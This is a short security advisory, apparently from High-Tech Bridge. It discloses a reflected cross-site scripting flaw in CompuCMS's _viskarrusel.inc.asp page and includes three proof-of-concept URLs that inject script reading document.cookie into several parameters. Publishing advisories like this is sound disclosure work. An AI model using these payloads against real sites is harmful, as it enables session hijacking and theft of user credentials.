XSS vulnerability in CompuCMS

[advisory () htbridge ch]

Vulnerability ID: HTB22583
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_compucms_2.html
Product: CompuCMS  
Vendor: CompuSoft A/S ( http://www.compusoft.dk/ ) 
Vulnerable Version: Current at 06.08.2010 and Probably Prior Versions
Vendor Notification: 09 August 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/_CompuCMS/_CMS_output/_viskarrusel.inc.asp" script to properly 
sanitize user-supplied input in multiple variables. Successful exploitation of this vulnerability could result in a 
compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of 
sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:


http://host/_CompuCMS/_CMS_output/_viskarrusel.inc.asp?mode=alm!udflugtsmaal!dk&vispic=2138&Dir=&site=demo%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3Ed&NoElementNum=0&NoFirstElement

http://host/_CompuCMS/_CMS_output/_viskarrusel.inc.asp?mode=alm!udflugtsmaal!dk&vispic=2138&Dir=%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C&site=demo&NoElementNum=0&NoFirstElement

http://host/_CompuCMS/_CMS_output/_viskarrusel.inc.asp?mode=alm!udflugtsmaal!dk%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C&vispic=2138&Dir=&site=demo&NoElementNum=0&NoFirstElement